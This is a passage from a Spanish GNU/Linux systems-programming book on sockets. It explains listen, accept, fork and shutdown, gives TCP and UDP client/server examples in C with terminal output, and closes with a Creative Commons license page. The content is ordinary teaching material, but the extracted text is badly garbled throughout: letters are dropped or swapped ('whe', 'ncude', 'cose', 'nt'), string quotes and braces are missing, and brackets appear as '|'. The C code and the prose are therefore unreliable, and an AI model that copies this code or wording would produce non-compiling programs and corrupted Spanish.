I prImero de eIIos es eI socket, y eI segundo es eI nmero mxImo de
conexIones a Ia espera que puede contener Ia coIa de petIcIones. espues de
poner eI puerto a Ia escucha, aceptamos conexIones pendIentes medIante Ia
IIamada a Ia IuncIn accept ( ) . sta IuncIn saca de Ia coIa de petIcIones una
conexIn y crea un nuevo socket para tratarIa. Iecordemos que sucede
cuando IIamamos aI nmero de InIormacIn de TeIeInIca. marcamos eI
nmero (connect ( ) ) y como hay aIguIen atento a coger eI teIeIono (sten()), se
acepta nuestra IIamada que pasa a Ia espera (en IuncIn deI backog de sten()
puede que nos InIormen de que todas Ias IIneas estn ocupadas). espues de
tener que escuchar una horrIbIe sIntonIa, se nos asIgna un teIeIonIsta
(accept()) que atender nuestra IIamada. Cuando se nos ha asIgnado ese
teIeIonIsta, en reaIIdad estamos habIando ya por otra IInea, porque cuaIquIer
otra persona puede IIamar aI nmero de InIormacIn de TeIeInIca y Ia
IIamada no darIa Ia seaI de comunIcando. uestro servIdor puede aceptar
varIas petIcIones (tantas como IndIquemos en eI backog de sten()) y Iuego
cuando aceptemos cada una de eIIas, se crear una IInea dedIcada para esa
petIcIn (un nuevo socket por eI que habIar). Veamos un ejempIo con todo
esto.
#defne PUERTO 80
nt m_socket, nuevo, tam;
struct sockaddr_n m_estructura;
m_estructura.sn_famy = AF_INET;
Programacn de Sstemas 74
m_estructura.sn_port = htons( PUERTO );
m_estructura.sn_addr.s_addr = INADDR_ANY;
memset( (m_estructura.sn_zero), 0, 8 );
m_socket = socket( AF_INET, SOCK_STREAM, 0 );
tam = szeof( struct sockaddr );
bnd( m_socket, (struct sockaddr *)m_estructura, tam );
sten( m_socket, 5 );
whe( 1 ) // buce nfnto para tratar conexones

nuevo = accept( m_socket, (struct sockaddr *)m_estructura,


tam );
f( fork() == 0 )
// h|o
cose( m_socket ); // E proceso h|o no o necesta
send( nuevo, 200 Benvendon, 15, 0);
cose( nuevo );
ext( 0 );
ese // padre
cose( nuevo ); // E proceso padre no o necesta

Io ms extrao de este ejempIo puede ser eI bucIe "wh e", todo Io dems
es exactamente IguaI que en anterIores ejempIos. Veamos ese bucIe. Io
prImero de todo es aceptar una conexIn de Ias que esten pendIentes en eI
backogde conexIones. Ia IIamada a accept() nos devoIver eI nuevo socket
creado para atender dIcha petIcIn. Creamos un proceso hIjo que se
encargue de gestIonar esa petIcIn medIante fork(). entro deI hIjo cerramos
eI socket InIcIaI, ya que no Io necesItamos, y envIamos "200 Benvendon" por eI
socket nuevo. Cuando hayamos termInado de atender aI cIIente, cerramos eI
socket con cose() y saIImos. n eI proceso padre cerramos eI socket "nuevo",
ya que no Io utIIIzaremos desde este proceso. ste bucIe se ejecuta
IndeIInIdamente, ya que nuestro servIdor deber atender Ias petIcIones de
conexIn IndeIInIdamente.
Ya hemos vIsto cmo cerrar un socket, utIIIzando Ia IIamada estndar
cose(), como con cuaIquIer IIchero. sta IuncIn cIerra eI descrIptor de
IIchero deI socket, IIberando eI socket y denegando cuaIquIer envIo o
recepcIn a traves deI mIsmo. SI quIsIeramos tener ms controI sobre eI
cIerre deI socket podrIamos usar Ia IuncIn shutdown().
nt shutdown(nt s, nt how);
n eI parmetro "how" IndIcamos cmo queremos cerrar eI socket.
! 0. o se permIte recIbIr ms datos.
! 1. o se permIte envIar ms datos.
! 2. o se permIte envIar nI recIbIr ms datos (Io mIsmo
que cose()).
Programacn de Sstemas 75
sta IuncIn no cIerra reaImente eI descrIptor de IIchero deI socket, sIno
que modIIIca sus condIcIones de uso, es decIr, no IIbera eI recurso. Iara
IIberar eI socket despues de usarIo, deberemos usar sIempre c ose( ) .
1.5.7.5 E|empos con sockets de tpo stream
Servdor
Ie aquI eI cdIgo de ejempIo de un servIdor sencIIIo TCI.
#ncude <unstd.h>
#ncude <netnet/n.h>
#ncude <arpa/net.h>
#ncude <sys/types.h>
#ncude <sys/socket.h>
nt man( nt argc, char *argv|| )

nt m_socket, nuevo, tam;


struct sockaddr_n m_estructura;
m_estructura.sn_famy = AF_INET;
m_estructura.sn_port = 0;
m_estructura.sn_addr.s_addr = INADDR_ANY;
memset( (m_estructura.sn_zero), '0', 8 );
m_socket = socket( AF_INET, SOCK_STREAM, 0 );
tam = szeof( struct sockaddr );
bnd( m_socket, (struct sockaddr *)m_estructura, tam );
sten( m_socket, 5 );
whe( 1 ) // buce nfnto para tratar conexones

nuevo = accept( m_socket,
(struct sockaddr *)m_estructura, tam);
f( fork() == 0 )
// h|o
cose( m_socket ); // E proceso h|o no o necesta
send( nuevo, 200 Benvendon, 15, 0 );
cose( nuevo );
ext( 0 );
ese // padre
cose( nuevo ); // E proceso padre no o necesta


return 0;

!n ejempIo de su ejecucIn.
txp@neon:-$ gcc servertcp.c -o servertcp
Programacn de Sstemas 76
txp@neon:-$ ./servertcp
|1| 419
txp@neon:-$ netstat -pta
(Not a processes coud be dentfed, non-owned process nfo
w not be shown, you woud have to be root to see t a.)
Actve Internet connectons (servers and estabshed)
Proto Recv- Send- Loca Address Foregn Address State
PID/Program name
tcp 0 0 *:www *:* LISTEN
-
tcp 0 0 *:46101 *:* LISTEN
419/servertcp
txp@neon:-$ tenet ocahost 46101
Tryng 127.0.0.1...
Connected to ocahost.
Escape character s '|'.
200 Benvendo
Connecton cosed by foregn host.
AI haber IndIcado como nmero de puerto eI 0, ha eIegIdo un nmero de
puerto aIeatorIo de entre Ios posIbIes (de 1024 a 65535, ya que sIo root
puede hacer bnd( )sobre Ios puertos "bajos", deI 1 aI 1024).
Cente
Ie aquI eI cdIgo de ejempIo de un sImpIe cIIente TCI.
#ncude <unstd.h>
#ncude <netnet/n.h>
#ncude <arpa/net.h>
#ncude <sys/types.h>
#ncude <sys/socket.h>
#defne SIZE 255
nt man(nt argc, char *argv||)

nt m_socket, tam, numbytes;


char buffer|SIZE|;
struct sockaddr_n m_estructura;
f( argc != 3 )

prntf( error: modo de empeo: centtcp p puerton );
ext( -1 );

m_estructura.sn_famy = AF_INET;
m_estructura.sn_port = htons( ato( argv|2| ) );
net_aton( argv|1|, (m_estructura.sn_addr) );
memset( (m_estructura.sn_zero), '0', 8 );
m_socket = socket( AF_INET, SOCK_STREAM, 0);
tam = szeof( struct sockaddr );
connect( m_socket, (struct sockaddr *)m_estructura, tam );
Programacn de Sstemas 77
numbytes = recv( m_socket, buffer, SIZE-1, 0 );
buffer|numbytes| = '0';
prntf( %d bytes recbdosn, numbytes );
prntf( recbdo: %sn, buffer );
cose( m_socket );
return 0;

VemosIo en IuncIonamIento.
txp@neon:-/programacon$ gcc centtcp.c -o centtcp
txp@neon:-/programacon$ ./centtcp 127.0.0.1 46105
15 bytes recbdos
recbdo: 200 Benvendo
1.5.7.6 E|empos con sockets de tpo datagrama
Servdor
Ie aquI eI cdIgo de ejempIo de un servIdor sencIIIo !I.
#ncude <unstd.h>
#ncude <netnet/n.h>
#ncude <arpa/net.h>
#ncude <sys/types.h>
#ncude <sys/socket.h>
#defne PUERTO 5000
#defne SIZE 255
nt man(nt argc, char *argv||)

nt m_socket, tam, numbytes;


char buffer|SIZE|;
struct sockaddr_n m_estructura;
m_estructura.sn_famy = AF_INET;
m_estructura.sn_port = htons( PUERTO );
m_estructura.sn_addr.s_addr = INADDR_ANY;
memset( (m_estructura.sn_zero), '0', 8);
m_socket = socket( AF_INET, SOCK_DGRAM, 0);
tam = szeof( struct sockaddr );
bnd( m_socket, (struct sockaddr *)m_estructura, tam );
whe( 1 ) // buce nfnto para tratar conexones

numbytes = recvfrom( m_socket, buffer, SIZE-1, 0, (struct sockaddr *)m_estructura,
tam );
buffer|numbytes| = '0';
prntf( serverudp: %d bytes recbdosn, numbytes );
prntf( serverudp: recbdo: %sn, buffer );
Programacn de Sstemas 78

cose( m_socket );
return 0;

I puerto a Ia escucha se deIIne con Ia constante PUERTO , en este caso


tIene eI vaIor 5000. Con "netstat -upa" podemos ver que reaImente est a Ia
escucha.
txp@neon:-$ netstat -upa
(Not a processes coud be dentfed, non-owned process nfo
w not be shown, you woud have to be root to see t a.)
Actve Internet connectons (servers and estabshed)
Proto Recv- Send- Loca Address Foregn Address State PID/Program name
udp 0 0 *:tak *:* -
udp 0 0 *:ntak *:* -
udp 0 0 *:5000 *:* 728/serverudp
Cente
Ie aquI eI cdIgo de ejempIo de un sImpIe cIIente !I.
#ncude <unstd.h>
#ncude <netnet/n.h>
#ncude <arpa/net.h>
#ncude <sys/types.h>
#ncude <sys/socket.h>
#defne SIZE 255
nt man(nt argc, char *argv||)

nt m_socket, tam, numbytes;


char buffer|SIZE|;
struct sockaddr_n m_estructura;
f( argc != 3 )

prntf( error: modo de empeo: centtcp p puerton );
ext( -1 );

m_estructura.sn_famy = AF_INET;
m_estructura.sn_port = htons( ato( argv|2| ) );
net_aton( argv|1|, (m_estructura.sn_addr) );
memset( (m_estructura.sn_zero), '0', 8 );
m_socket = socket( AF_INET, SOCK_DGRAM, 0);
tam = szeof( struct sockaddr );
strcpy( buffer, Hoa mundo teematco!n );
numbytes = sendto( m_socket, buffer, stren(buffer), 0, (struct sockaddr
*)m_estructura, tam );
prntf( centudp: %d bytes envadosn, numbytes );
Programacn de Sstemas 79
prntf( centudp: envado: %sn, buffer );
strcpy( buffer, Este es otro paquete.n );
numbytes = sendto( m_socket, buffer, stren(buffer), 0, (struct sockaddr
*)m_estructura, tam );
prntf( centudp: %d bytes envadosn, numbytes );
prntf( centudp: envado: %sn, buffer );
cose( m_socket );
return 0;

VemosIo en IuncIonamIento.
txp@neon:-$ gcc centudp.c -o centudp
txp@neon:-$ ./centudp 127.0.0.1 5000
centudp: 23 bytes envados
centudp: envado: Hoa mundo teematco!
centudp: 22 bytes envados
centudp: envado: Este es otro paquete.
serverudp: 23 bytes recbdos
serverudp: recbdo: Hoa mundo teematco!
serverudp: 22 bytes recbdos
serverudp: recbdo: Este es otro paquete.
Programacn de Sstemas 80
2.Lcenca
Reconocimiento-Compartirlgual 2.5 Espaa
Usted es libre de:
copar, dstrbur y comuncar pbcamente a obra
hacer obras dervadas
hacer un uso comerca de esta obra
Bajo las condiciones siguientes:
Reconocimiento. Debe reconocer os crdtos de a obra
de a manera especfcada por e autor o e cencador.
Compartir bajo la misma licencia. S atera o
transforma esta obra, o genera una obra dervada, so
puede dstrbur a obra generada ba|o una cenca
dntca a sta.
A reutzar o dstrbur a obra, tene que de|ar ben caro os trmnos de a cenca de
esta obra.
Aguna de estas condcones puede no apcarse s se obtene e permso de ttuar de
os derechos de autor
Los derechos derivados de usos legitimos u otras limitaciones reconocidas
por ley no se ven afectados por lo anterior.
Autor:
Pgina personal:
Pgina del libro:
txipi
http://txipi.bubok.com
http://www.bubok.es/libros/1561/GNULinux-programacion-de-sistemas

Vous aimerez peut-être aussi